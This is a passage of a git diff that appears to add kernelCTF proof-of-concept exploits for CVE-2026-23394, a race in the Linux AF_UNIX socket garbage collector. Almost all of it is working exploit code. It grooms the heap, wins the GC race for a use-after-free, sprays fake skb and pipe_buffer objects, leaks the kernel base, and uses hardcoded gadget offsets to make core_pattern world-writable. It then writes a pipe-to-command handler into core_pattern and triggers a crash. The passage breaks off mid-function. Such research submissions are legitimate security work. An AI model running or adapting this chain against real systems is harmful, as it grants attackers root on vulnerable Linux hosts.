msg = {0}; + size_t cmsg_space = CMSG_SPACE(sizeof(int) * count); + char *cmsg_buf = (char *)alloca(cmsg_space); + char data[1] = {'X'}; + struct iovec io = { .iov_base = data, .iov_len = 1 }; + + msg.msg_iov = &io; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = cmsg_space; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(int) * count); + memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * count); + + return sendmsg(sock, &msg, 0); +} + +static int recv_fds(int sock, int flags, int *fds_out, int max_fds) { + size_t cmsg_space = CMSG_SPACE(sizeof(int) * max_fds); + char *cmsg_buf = (char *)alloca(cmsg_space); + char data[256]; + struct iovec io = { .iov_base = data, .iov_len = sizeof(data) }; + struct msghdr msg = {0}; + + msg.msg_iov = &io; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = cmsg_space; + + int bytes_received = recvmsg(sock, &msg, flags); + if (bytes_received < 0) return -1; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + if (!cmsg || cmsg->cmsg_type != SCM_RIGHTS) return 0; + + int count = (int)((cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int)); + if (count > max_fds) count = max_fds; + memcpy(fds_out, CMSG_DATA(cmsg), sizeof(int) * count); + return count; +} + +static inline int send_fd(int sock, int fd) { + return send_fds(sock, &fd, 1); +} + +static inline int recv_fd(int sock, int flags) { + int fd; + return (recv_fds(sock, flags, &fd, 1) == 1) ? fd : -1; +} + +static inline void busywait_ns(long ns) { + struct timespec start, now; + clock_gettime(CLOCK_MONOTONIC, &start); + for (;;) { + clock_gettime(CLOCK_MONOTONIC, &now); + long elapsed = (now.tv_sec - start.tv_sec) * 1000000000L + + (now.tv_nsec - start.tv_nsec); + if (elapsed >= ns) break; + } +} + +static void send_bytes(int sock, int count, int flags = 0) { + char byte = 'X'; + for (int i = 0; i < count; i++) + send(sock, &byte, 1, flags); +} + +static void drain_bytes(int sock, int count) { + char byte; + for (int i = 0; i < count; i++) + recv(sock, &byte, 1, MSG_DONTWAIT); +} + +/* ── Heap grooming helpers ────────────────────────────────────────── */ + +static void groom_skb_cache(race_ctx *ctx) { + for (int i = 0; i < NUM_GROOM_SOCKETS; i++) + socketpair(AF_UNIX, SOCK_STREAM, 0, ctx->groom_sockets[i]); + + for (int i = 0; i < NUM_GROOM_SOCKETS; i++) + send_bytes(ctx->groom_sockets[i][1], NUM_GROOM_SKBS_PER_SOCK); +} + +static void send_oob_sandwiched(int sock, race_ctx *ctx) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ctx->sandwich_sv) < 0) exit(1); + + send_bytes(ctx->sandwich_sv[1], NUM_SANDWICH_SKBS); + send_bytes(sock, 1, MSG_OOB); + send_bytes(ctx->sandwich_sv[1], NUM_SANDWICH_SKBS); +} + +static void release_skb_cache(race_ctx *ctx) { + for (int i = 0; i < NUM_GROOM_SOCKETS; i++) + drain_bytes(ctx->groom_sockets[i][0], NUM_GROOM_SKBS_PER_SOCK); + + close(ctx->sandwich_sv[0]); + close(ctx->sandwich_sv[1]); +} + + +/* ── Step 1: Preparation ─────────────────────────────────────────── */ + +// Build a long GC cycle so that we can receive our victim socket after unix_vertex_dead(victim_vertex) +// and close the receiver before the unix_vertex_dead(receiver_vertex) +static void vuln_prepare(race_ctx *ctx) { + int victim_pair[2]; + int (*sv_chain)[2] = (int(*)[2])malloc(sizeof(int[2]) * NUM_DUMMY); + if (socketpair(AF_UNIX, SOCK_STREAM, 0, victim_pair) < 0) exit(1); + + int victim_sock = victim_pair[0]; + + // We need a full page of skbs with oob_skb, so saturate the freelist first + groom_skb_cache(ctx); + // OOB skb sandwiched between known allocations, used to rip control via destructor + send_oob_sandwiched(victim_pair[1], ctx); + + // Build a long cycle of NUM_DUMMY sockets to widen the GC window + // Edges goes from a sent socket to a receiver socket + for (int i = 0; i < NUM_DUMMY; i++) { + socketpair(AF_UNIX, SOCK_DGRAM, 0, sv_chain[i]); + } + + // Sending will create a vertex for the victim + // that ensures we start the checking from the victim + // Tarjan will iterate DFS from the victim deeping in the sv_chain + // So the GC will check: victim -> sv_chain[0] -> deeper sockets in the cycle + send_fd(sv_chain[0][1], victim_sock); + // Send the victim to the receiver (the last socket in the chain) + // we will use the receiver to get our victim back and close the receiver + send_fd(sv_chain[NUM_DUMMY - 1][1], victim_sock); + + // Create a long chain: + // victim -> sv_chain[0] -> ... -> sv_chain[NUM_DUMMY - 1] -> victim + for (int i = 0; i < NUM_DUMMY - 1; i++) + send_fd(sv_chain[i + 1][1], sv_chain[i][0]); + send_fd(victim_pair[1], sv_chain[NUM_DUMMY - 1][0]); + + // Close all the sockets (except the receiver), so they have only inflight references + for (int i = 0; i < NUM_DUMMY; i++) close(sv_chain[i][1]); + for (int i = 0; i < NUM_DUMMY - 1; i++) close(sv_chain[i][0]); + close(victim_sock); + + // Run Tarjan grouping stage, this ensures we will use fast path + // That's not strictly required but influences timings (in slow path the delay is greater) + trigger_gc_and_wait(); + + // Save the receiver for the exploit (now only receiver has an userspace reference) + ctx->receiver_fd = sv_chain[NUM_DUMMY - 1][0]; +} + +// Checks if GC purged the victim's queue (vulnerability triggered). +static bool check_vuln_triggered(int victim) { + char buf; + int ret = recv(victim, &buf, 1, MSG_PEEK | MSG_DONTWAIT); + if (ret > 0) { + return false; + } + printf("\033[32m[RACE] victim queue purged — vulnerability triggered\033[0m\n"); + return true; +} + +// @step(name="Step 2: Race between unix GC and recv+close") +void* race_gc_thread(void *arg) { + auto *ctx = (race_ctx *)arg; + pin_to_cpu(0); + + // start at the same time with the recv thread + pthread_barrier_wait(&ctx->barrier); + + //@race_window(name="Vulnerability", start="unix_vertex_dead(victim)", before="get_file(victim)") + + // Trigger the GC and wait until it purges the victim's queue + trigger_gc_and_wait(); + + //@race_window(name="Vulnerability", end="unix_vertex_dead(receiver)", after="fput(receiver)") + + return NULL; +} + +void* race_recv_thread(void *arg) { + auto *ctx = (race_ctx *)arg; + pin_to_cpu(1); + + // start at the same time with the GC thread + pthread_barrier_wait(&ctx->barrier); + + // Wait for the Vulnerability window to start + busywait_ns(ctx->gc_delay); + + //@race_window(name="Vulnerability", start="get_file(victim)", after="unix_vertex_dead(victim)") + + // victim was checked with only inflight refcounts (GC decides it is dead) + // victim.f_count += 1 (but the GC assumed it won't be changed) + int victim = recv_fd(ctx->receiver_fd, MSG_PEEK | MSG_DONTWAIT); + + // we have checked the victim and get stalled on the CPU0 before the receiver check + // let's drop f_count of the receiver, so the GC treat it as dead also + // receiver.f_count -= 1 (the GC assumed it won't be changed also) + close(ctx->receiver_fd); + + //@race_window(name="Vulnerability", end="fput(receiver)", before="unix_vertex_dead(receiver)") + + // @sleep(kernel_func="unix_gc", desc="wait for GC to finish") + usleep(GC_SETTLE_SLEEP_US); + + if (!check_vuln_triggered(victim)) + exit(1); + + ctx->victim_fd = victim; + + return NULL; +} + +static void trigger_vuln_race(race_ctx *ctx) { + pthread_barrier_init(&ctx->barrier, NULL, 2); + + pthread_t gc_handle, recv_handle; + pthread_create(&gc_handle, NULL, race_gc_thread, ctx); + pthread_create(&recv_handle, NULL, race_recv_thread, ctx); + pthread_join(gc_handle, NULL); + pthread_join(recv_handle, NULL); + + pthread_barrier_destroy(&ctx->barrier); +} + + +/* ── Step 3: Cross-cache msg_msg spray ───────────────────────────── */ + +static void spray_cross_cache_fake_skbs(race_ctx *ctx, Target *target, uint64_t kernel_base) { + // use the same CPU as the GC thread to have the same per cpu pages + pin_to_cpu(0); + + uint64_t msg_msg_sz = target->GetStructSize("msg_msg"); + // We intend to make a fake skbs which size is 256 bytes, so each fake skb as msg_msg must be 256 bytes in size + uint64_t msg_data_sz = 0x100 - msg_msg_sz; + + struct { + long mtype; + char mtext[0x100]; + } fake_skb_msg; + + uint64_t kbase = kernel_base; + if (kbase == 0) kbase = 0xffffffff81000000ULL; + + int spray_qids[NUM_SPRAY_QUEUES]; + for (int i = 0; i < NUM_SPRAY_QUEUES; i++) { + spray_qids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + } + + // build the fake skb, the recv(OOB_MSG) will call consume_skb(skb.prev) + // which will call the skb.prev->destructor + // the msg_msg naturally gives us the kernel pointer to our payload at the offset of prev field in the skb + uint64_t destructor_gadget = kbase + target->GetSymbolOffset("dec_gadget"); + uint64_t core_pattern_mode = kbase + target->GetSymbolOffset("core_pattern_mode"); + uint64_t gadget_read_off = target->GetSymbolOffset("dec_gadget.read_offset"); + uint64_t gadget_deref_off = target->GetSymbolOffset("dec_gadget.deref_offset"); + uint64_t target_for_first_deref = core_pattern_mode - gadget_deref_off; + uint64_t bss_section = kbase + target->GetSymbolOffset("bss_section"); + + uint64_t skb_off_destructor = target->GetFieldOffset("sk_buff", "destructor_arg"); + uint64_t skb_off_head = target->GetFieldOffset("sk_buff", "head"); + uint64_t skb_off_users = target->GetFieldOffset("sk_buff", "users"); + + memset(fake_skb_msg.mtext, 0, msg_data_sz); + *(uint64_t*)&fake_skb_msg.mtext[gadget_read_off - msg_msg_sz] = target_for_first_deref; + *(uint64_t*)&fake_skb_msg.mtext[skb_off_destructor - msg_msg_sz] = destructor_gadget; + *(uint32_t*)&fake_skb_msg.mtext[skb_off_users - msg_msg_sz] = 1; + // we need nullified memory to avoid kernel crash due to presence of fragments + *(uint64_t*)&fake_skb_msg.mtext[skb_off_head - msg_msg_sz] = bss_section; + + // Saturate the freelist and free the sandwich skbs surrounding the OOB skb + // The OOB skb page goes to the PCP + release_skb_cache(ctx); + + for (int q = 0; q < NUM_SPRAY_QUEUES; q++) { + for (int i = 0; i < MSGS_PER_QUEUE; i++) { + fake_skb_msg.mtype = i + 1; + msgsnd(spray_qids[q], &fake_skb_msg, msg_data_sz, IPC_NOWAIT); + } + } +} + +static void rip_oob_skb_destructor(int victim) { + char oob_buf[1]; + // calls consume_skb(skb.prev) which will call the skb.prev->destructor with our gadget + recv(victim, oob_buf, 1, MSG_OOB); +} + +static void privesc_core_pattern() { + struct stat cp_stat; + stat("/proc/sys/kernel/core_pattern", &cp_stat); + mode_t mode = cp_stat.st_mode & 0777; + printf("core_pattern permissions: %04o\n", mode); + + // The mode was probably decremented from 0644 to 0643 + if (!(mode & 0002)) + return; + + printf("\033[32m[SUCCESS!] core_pattern is now world-writable!\033[0m\n"); + + const char *payload = "|/bin/dd if=/flag of=/dev/kmsg"; + int cp_fd = open("/proc/sys/kernel/core_pattern", O_WRONLY); + (void)write(cp_fd, payload, strlen(payload)); + close(cp_fd); + + pid_t crash_pid = fork(); + if (crash_pid == 0) { + prctl(PR_SET_DUMPABLE, 1); + *(volatile int*)0 = 0; + _exit(1); + } + + // @sleep(desc="wait for core_pattern handler to output the flag") + sleep(2); + + exit(0); +} + + +/* ── Setup helpers ────────────────────────────────────────────────── */ + +static Target prepare_kernelxdk() { + TargetDb kxdb("target_db.kxdb", target_db); + + Target target = kxdb.AutoDetectTarget(); + printf("[+] Target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str()); + + bool is_cos = target.GetReleaseName().find("cos") == 0; + + // Address of core_pattern->mode which we intend to decrement + // from 0644 to 0643 to make it world-writable and escalate privileges + // (lldb) p/x &coredump_sysctls[1].mode (core_pattern.mode address) + // (lldb) p/x rcu_barrier_tasks_generic_cb (decrement gadget address, displacements may differ) + if (is_cos) { + target.AddSymbol("core_pattern_mode", 0x2fb33f4); + // Decrement gadget: + // movq %rdi, (%rdi) + // movq 0x38(%rdi), %rdi + // lock decl 0xf8(%rdi) + target.AddSymbol("dec_gadget", 0x256750); + target.AddSymbol("dec_gadget.deref_offset", 0xf8); + // Zeroed memory region to avoid crash when kernel reads skb fragments + target.AddSymbol("bss_section", 0x3d3e000); + target.AddStruct("sk_buff", 0xe0, { + {"destructor_arg", 0x60, 0x08}, + {"head", 0xc0, 0x08}, + {"users", 0xd4, 0x04}, + }); + } else { + target.AddSymbol("core_pattern_mode", 0x36117ac); + // Decrement gadget: + // movq %rdi, (%rdi) + // movq 0x38(%rdi), %rdi + // lock decl 0x100(%rdi) + target.AddSymbol("dec_gadget", 0x2494d0); + target.AddSymbol("dec_gadget.deref_offset", 0x100); + // Zeroed memory region to avoid crash when kernel reads skb fragments + target.AddSymbol("bss_section", 0x4648000); + target.AddStruct("sk_buff", 0xe0, { + {"destructor_arg", 0x60, 0x08}, + {"head", 0xc8, 0x08}, + {"users", 0xdc, 0x04}, + }); + } + + // Decrement gadget reads %rdi+0x38, then decrements at (val+deref_offset) + target.AddSymbol("dec_gadget.read_offset", 0x38); + + return target; +} + +static void setup_nofile_limit(rlim_t limit) { + struct rlimit rl; + getrlimit(RLIMIT_NOFILE, &rl); + rl.rlim_cur = limit; + if (rl.rlim_max < rl.rlim_cur) + rl.rlim_max = rl.rlim_cur; + setrlimit(RLIMIT_NOFILE, &rl); +} + +// @step(name="Step 0: Prerequisites") +static uint64_t leak_kernel_base_and_check(Target *target) { + uint64_t num_pages = target->GetKernelPageCount(); + uint64_t kernel_base = leak_kaslr_base(num_pages, /* samples = */ 100, /* trials = */ 3); + + check_kaslr_base(kernel_base); + printf("[+] Kernel base: 0x%lx\n", (unsigned long)kernel_base); + + return kernel_base; +} + +int main(int argc, char *argv[]) { + bool vuln_trigger_only = argc > 1 && strcmp(argv[1], "--vuln-trigger") == 0; + + Target target = prepare_kernelxdk(); + + setup_nofile_limit(NOFILE_LIMIT); + + uint64_t kernel_base = 0; + if (!vuln_trigger_only) + kernel_base = leak_kernel_base_and_check(&target); + + long gc_delay = DELAY_START; + + for (int attempt = 1; attempt <= MAX_RACE_ATTEMPTS; attempt++) { + if (attempt % 100 == 0) + printf("\n[MAIN] === Attempt #%d, delay=%ld ===\n", attempt, gc_delay); + + // @step(name="Exploit attempt (forked)") + pid_t pid = fork(); + if (pid == 0) { + race_ctx ctx{}; + ctx.gc_delay = gc_delay; + + // @step(name="Step 1: Preparation") + vuln_prepare(&ctx); + // @step(name="Step 2: Race between unix GC and recv+close") + trigger_vuln_race(&ctx); + // @step(name="Step 3: Spray msg_msg to reclaim freed OOB skb slot") + if (!vuln_trigger_only) + spray_cross_cache_fake_skbs(&ctx, &target, kernel_base); + // @step(name="Step 4: recv(MSG_OOB) triggers destructor gadget") + rip_oob_skb_destructor(ctx.victim_fd); + // @step(name="Step 5: Overwrite core_pattern and trigger crash") + privesc_core_pattern(); + + exit(1); + } + + int status; + waitpid(pid, &status, 0); + + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return 0; + + if (attempt % 5 == 0) + gc_delay += DELAY_INCREASE; + if (gc_delay > DELAY_MAXIMUM) + gc_delay = DELAY_START; + } + + return 1; +} diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile new file mode 120000 index 000000000..a453af782 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/Makefile @@ -0,0 +1 @@ +../lts-6.12.74/Makefile \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit new file mode 100755 index 000000000..28e03c94d Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cc b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cc new file mode 100644 index 000000000..045077236 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23394_lts_cos_mitigation/exploit/mitigation-v4-6.12/exploit.cc @@ -0,0 +1,729 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +INCBIN(target_db, "target_db.kxdb"); + +#define NUM_DUMMY 100 +#define GC_SETTLE_SLEEP_US 5000 +#define DELAYED_WORK_SLEEP_US 20000 +#define SCM_MAX_FD 253 +#define NUM_EVENTFDS_SEND 251 +#define NUM_EVENTFDS_SPRAY 300 +#define NUM_GC_TIMERS 100 +#define NUM_RECV_TIMERS 250 +#define TIMER_STEP_NS 4000L +#define RECV_DELAY_START 1000L +#define RECV_DELAY_MAX 5000L +#define RECV_DELAY_STEP_NS 100L +#define TIMER_SETUP_LEAD_NS 10000000L +#define RECV_FD_BUDGET_NS 50000L + +#define GROOM_FILES_COUNT 300 + +#define NUM_SPRAY_PIPES 250 +#define PIPE_GROW_NUM_BUFFERS 250 +#define PAGE_SIZE 4096 +#define PIPE_BUF_DATA_SIZE (1024 * 16) + +#define NOFILE_LIMIT 4000 +#define MAX_RACE_ATTEMPTS 10000 +#define MAX_PIPE_SPRAY_RETRIES 1000 + +#define GC_DELAY_START 5000 +#define DELAY_INCREASE 1000 +#define DELAY_MAXIMUM 40000 + +#define DEC_GADGET_READ_OFFS 0x8 +#define DEC_GADGET_DEREF_OFFS 0x1c + +struct race_context { + int receiver_fd; + long gc_delay; + long scm_fp_dup_delay; + + struct timespec gc_trigger_time; + std::atomic gc_trigger_time_set{0}; + + int uaf_alias_fd; + int spray_fds[NUM_EVENTFDS_SPRAY]; +}; + + +/* ── Utility functions ───────────────────────────────────────────── */ + +static inline void pin_to_cpu(int cpu) { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (pthread_setaffinity_np(pthread_self(), sizeof(set), &set) != 0) { + fprintf(stderr, "Failed to pin to CPU %d\n", cpu); + exit(1); + } +} + +/** + * Creating and immediately closing a UNIX socket triggers unix_gc(). + * The GC is performed on the same CPU nearly right after closing the socket. + */ + static void trigger_gc_and_wait() { + int gc_sock = socket(AF_UNIX, SOCK_STREAM, 0); + close(gc_sock); + // @sleep(kernel_func="unix_gc", desc="wait for unix_gc to settle") + usleep(GC_SETTLE_SLEEP_US); +} + +static int send_fds(int sock, int *fds, int count) { + struct msghdr msg = {0}; + size_t cmsg_space = CMSG_SPACE(sizeof(int) * count); + char *cmsg_buf = (char *)alloca(cmsg_space); + char data[1] = {'X'}; + struct iovec io = { .iov_base = data, .iov_len = 1 }; + + msg.msg_iov = &io; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = cmsg_space; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_SOCKET; + cmsg->cmsg_type = SCM_RIGHTS; + cmsg->cmsg_len = CMSG_LEN(sizeof(int) * count); + memcpy(CMSG_DATA(cmsg), fds, sizeof(int) * count); + + return sendmsg(sock, &msg, 0); +} + +static int recv_fds(int sock, int flags, int *fds_out, int max_fds) { + size_t cmsg_space = CMSG_SPACE(sizeof(int) * max_fds); + char *cmsg_buf = (char *)alloca(cmsg_space); + char data[256]; + struct iovec io = { .iov_base = data, .iov_len = sizeof(data) }; + struct msghdr msg = {0}; + + msg.msg_iov = &io; + msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; + msg.msg_controllen = cmsg_space; + + int bytes_received = recvmsg(sock, &msg, flags); + if (bytes_received < 0) return -1; + + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + if (!cmsg || cmsg->cmsg_type != SCM_RIGHTS) return 0; + + int count = (int)((cmsg->cmsg_len - CMSG_LEN(0)) / sizeof(int)); + if (count > max_fds) count = max_fds; + memcpy(fds_out, CMSG_DATA(cmsg), sizeof(int) * count); + return count; +} + +static inline int send_fd(int sock, int fd) { + return send_fds(sock, &fd, 1); +} + +static inline int recv_fd(int sock, int flags) { + int fd; + return (recv_fds(sock, flags, &fd, 1) == 1) ? fd : -1; +} + +static inline void timespec_add_ns(struct timespec *ts, long ns) { + ts->tv_nsec += ns; + while (ts->tv_nsec >= 1000000000L) { + ts->tv_sec++; + ts->tv_nsec -= 1000000000L; + } +} + +static inline void timespec_sub_ns(struct timespec *ts, long ns) { + ts->tv_nsec -= ns; + while (ts->tv_nsec < 0) { + ts->tv_sec--; + ts->tv_nsec += 1000000000L; + } +} + +static inline long timespec_diff_ns(struct timespec *later, struct timespec *earlier) { + long sec_diff = later->tv_sec - earlier->tv_sec; + long nsec_diff = later->tv_nsec - earlier->tv_nsec; + return sec_diff * 1000000000L + nsec_diff; +} + +#define WAIT_SAFEGUARD_NS 400000L + +static inline void wait_abs_time(struct timespec *target) { + struct timespec now; + clock_gettime(CLOCK_MONOTONIC, &now); + + // Get a fresh quant from the scheduler assuming the sleep accuracy is WAIT_SAFEGUARD_NS + if (timespec_diff_ns(target, &now) > WAIT_SAFEGUARD_NS) { + struct timespec wakeup = *target; + timespec_sub_ns(&wakeup, WAIT_SAFEGUARD_NS); + clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wakeup, NULL); + } + + while (1) { + clock_gettime(CLOCK_MONOTONIC, &now); + if (timespec_diff_ns(target, &now) <= 0) break; + } +} + +static void setup_timerfd_abs(int tfd, struct timespec *abs_time) { + struct itimerspec its = {0}; + its.it_value = *abs_time; + timerfd_settime(tfd, TFD_TIMER_ABSTIME, &its, NULL); +} + +static void setup_timerfd_storm(int count, struct timespec *base, long offset_ns) { + for (int i = 0; i < count; i++) { + int tfd = timerfd_create(CLOCK_MONOTONIC, TFD_NONBLOCK); + if (tfd < 0) exit(1); + struct timespec timer_ts = *base; + timespec_add_ns(&timer_ts, offset_ns + (long)i * TIMER_STEP_NS); + setup_timerfd_abs(tfd, &timer_ts); + } +} + +static bool same_inode(int fd1, int fd2) { + struct stat s1, s2; + return fstat(fd1, &s1) == 0 && fstat(fd2, &s2) == 0 && + s1.st_ino == s2.st_ino && s1.st_dev == s2.st_dev; +} + + +/* ── Step 1: Preparation ─────────────────────────────────────────── */ + +static void vuln_prepare(race_context *ctx) { + int victim_pair[2]; + int (*sv_chain)[2] = (int(*)[2])malloc(sizeof(int[2]) * NUM_DUMMY); + int slab_pin_sv[2]; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, victim_pair) < 0) exit(1); + if (socketpair(AF_UNIX, SOCK_STREAM, 0, slab_pin_sv) < 0) exit(1); + + int victim_sock = victim_pair[0]; + + // Send NUM_EVENTFDS_SEND eventfds to victim socket. + // Guard fds on slab_pin_sv keep the filp/skb slab pages alive after GC frees them. + // Close only the last one — it will be our target_file which the GC will fput + // while we are holding the reference to target_file and calling get_file on it + // Used for the second race - convert skb/scm_fp_list UAF into struct file UAF + { + int evfds[NUM_EVENTFDS_SEND]; + for (int i = 0; i < NUM_EVENTFDS_SEND - 1; i++) { + evfds[i] = eventfd(0, EFD_NONBLOCK); + } + + int guard_fd = eventfd(0, EFD_NONBLOCK); + send_fd(slab_pin_sv[1], guard_fd); + close(guard_fd); + + // This eventfd will be freed by the GC + // but the guard_fd from both sides will keep the slab page alive + evfds[NUM_EVENTFDS_SEND - 1] = eventfd(0, EFD_NONBLOCK); + + send_fds(victim_pair[1], evfds, NUM_EVENTFDS_SEND); + + close(evfds[NUM_EVENTFDS_SEND - 1]); + + guard_fd = eventfd(0, EFD_NONBLOCK); + send_fd(slab_pin_sv[1], guard_fd); + close(guard_fd); + } + + // Build a long cycle of NUM_DUMMY sockets to widen the GC window + // Edges goes from a sent socket to a receiver socket + for (int i = 0; i < NUM_DUMMY; i++) { + socketpair(AF_UNIX, SOCK_DGRAM, 0, sv_chain[i]); + } + + // Sending will create a vertex for the victim + // that ensures we start the checking from the victim + // Tarjan will iterate DFS from the victim deeping in the sv_chain + // So the GC will check: victim -> sv_chain[0] -> deeper sockets in the cycle + send_fd(sv_chain[0][1], victim_sock); + // Send the victim to the receiver (the last socket in the chain) + // we will use the receiver to get our victim back and close the receiver + send_fd(sv_chain[NUM_DUMMY - 1][1], victim_sock); + + // Create a long chain: + // victim -> sv_chain[0] -> ... -> sv_chain[NUM_DUMMY - 1] -> victim + for (int i = 0; i < NUM_DUMMY - 1; i++) + send_fd(sv_chain[i + 1][1], sv_chain[i][0]); + send_fd(victim_pair[1], sv_chain[NUM_DUMMY - 1][0]); + + // Close all the sockets (except the receiver), so they have only inflight references + for (int i = 0; i < NUM_DUMMY; i++) close(sv_chain[i][1]); + for (int i = 0; i < NUM_DUMMY - 1; i++) close(sv_chain[i][0]); + close(victim_sock); + + // Run Tarjan grouping stage, this ensures we will use fast path + // That's not strictly required but influences timings (in slow path the delay is greater) + trigger_gc_and_wait(); + + // Save the receiver for the exploit (now only receiver has an userspace reference) + ctx->receiver_fd = sv_chain[NUM_DUMMY - 1][0]; +} + +// Groom the filp cache to ensure: +// 1. The target_file is in a full slab, so when GC frees it, the slab goes to cpu partial list +// 2. Drain the cpu partial list, so the slab don't exceed the maximum count of slabs in the cpu partial list +static void groom_filp_cache() { + for (int i = 0; i < GROOM_FILES_COUNT; i++) { + eventfd(0, EFD_NONBLOCK); + } +} + +// The GC called fput on the target_file and it was freed +// Let's reclaim the freed slot so we don't crash while checking target_file->f_security +static void spray_eventfds_reclaim(int *spray_fds) { + for (int i = 0; i < NUM_EVENTFDS_SPRAY; i++) { + spray_fds[i] = eventfd(0, EFD_NONBLOCK); + } +} + +// Checks if GC purged the victim's queue (vulnerability triggered). +static bool check_vuln_triggered(int victim) { + char buf; + int ret = recv(victim, &buf, 1, MSG_PEEK | MSG_DONTWAIT); + if (ret > 0) { + return false; + } + printf("\033[32m[RACE] victim queue purged — vulnerability triggered\033[0m\n"); + return true; +} + +static void wait_for_delayed_work() { + //@sleep(kernel_func="__fput", desc="wait for delayed work to settle") + usleep(DELAYED_WORK_SLEEP_US); +} + +struct pipe_fds { int read; int write; }; + +// Spray pipes to reclaim the UAF file descriptor +// Retry until we get the read end to use it further +// Param uaf_fd points to a freed file so a file from the spray can reclaim it +static pipe_fds spray_pipes_and_match(int uaf_fd) { + for (int attempt = 0; attempt <= MAX_PIPE_SPRAY_RETRIES; attempt++) { + auto *pipes = (int(*)[2])malloc(NUM_SPRAY_PIPES * sizeof(int[2])); + + for (int i = 0; i < NUM_SPRAY_PIPES; i++) { + if (pipe(pipes[i]) < 0) { free(pipes); return {-1, -1}; } + } + + int flags = fcntl(uaf_fd, F_GETFL); + if (flags < 0) { free(pipes); return {-1, -1}; } + + bool retry = false; + for (int p = 0; p < NUM_SPRAY_PIPES; p++) { + if (!same_inode(uaf_fd, pipes[p][0])) continue; + + if ((flags & O_ACCMODE) == O_RDONLY) { + printf("found match (READ END): fd=%d -> pipe[%d][0]\n", uaf_fd, p); + return {pipes[p][0], pipes[p][1]}; + } + for (int j = 0; j < NUM_SPRAY_PIPES; j++) { close(pipes[j][0]); close(pipes[j][1]); } + free(pipes); + retry = true; + break; + } + + if (!retry) + return {-1, -1}; + } + + return {-1, -1}; +} + +static pipe_fds convert_uaf_file_into_pipe(int *spray_fds, int uaf_alias_fd) { + // One of the sprayed files is pointed by uaf_alias_fd, but has f_count == 1 + // So after we close all the spray files we get uaf_alias_fd pointing to a freed filp slot + for (int i = 0; i < NUM_EVENTFDS_SPRAY; i++) { + if (spray_fds[i] >= 0) + close(spray_fds[i]); + } + + pipe_fds fds = spray_pipes_and_match(uaf_alias_fd); + if (fds.read < 0) { + printf("pipe match not found\n"); + exit(1); + } + return fds; +} + +static void grow_pipe_buffers(pipe_fds *uaf_pipe) { + // Increase the pipe->bufs to greater than 2 pages: + // each pipe_buffer is 40 bytes, so we need at least 8k / 40 = 205 pipe_buffers + fcntl(uaf_pipe->write, F_SETPIPE_SZ, PIPE_GROW_NUM_BUFFERS * PAGE_SIZE); + // We must write something to the pipe, so !pipe_empty(head, tail) is true + write(uaf_pipe->write, "G", 1); +} + +static void spray_fake_pipe_buffers(int spray_socket_fd, Target *target, uint64_t kernel_base) { + char *buf = (char*)malloc(PIPE_BUF_DATA_SIZE); + memset(buf, 0, PIPE_BUF_DATA_SIZE); + + uint64_t pipe_buffer_ops_off = target->GetFieldOffset("pipe_buffer", "ops"); + + uint64_t ql_ps_end_io = kernel_base + target->GetSymbolOffset("ql_ps.end_io"); + uint64_t dec_target = kernel_base + target->GetSymbolOffset("core_pattern_mode") - DEC_GADGET_DEREF_OFFS; + + // ops->confirm reads the ql_end_io function pointer = decrement gadget + *(uint64_t*)(buf + pipe_buffer_ops_off) = ql_ps_end_io; + // ql_end_io: movq 0x8(%rsi), %rax; lock decl 0x1c(%rax) + // -> decrements core_pattern_mode from 0644 to 0643 + *(uint64_t*)(buf + DEC_GADGET_READ_OFFS) = dec_target; + + // Reclaim the freed Order-2 page with attacker-controlled data via socket write buffer. + write(spray_socket_fd, buf, PIPE_BUF_DATA_SIZE); +} + +static void free_pipe_and_spray_fake_bufs(pipe_fds *uaf_pipe, int spray_socket_fd, Target *target, uint64_t kernel_base) { + // pipe->bufs will be freed after all pipe's fds are closed + close(uaf_pipe->write); + close(uaf_pipe->read); + // Order-2 page have walked to PCP, let's reclaim it + spray_fake_pipe_buffers(spray_socket_fd, target, kernel_base); +} + +// Safely remove a file descriptor to a file with f_count == 0 from the files table +static void corrupted_fd_cleanup(int fd) { + constexpr int NUM = 100; + int fds[NUM]; + + // spray mappable files to reclaim the freed filp slot + for (int i = 0; i < NUM; i++) + fds[i] = memfd_create("cleanup", 0); + + void *mapping = mmap(NULL, 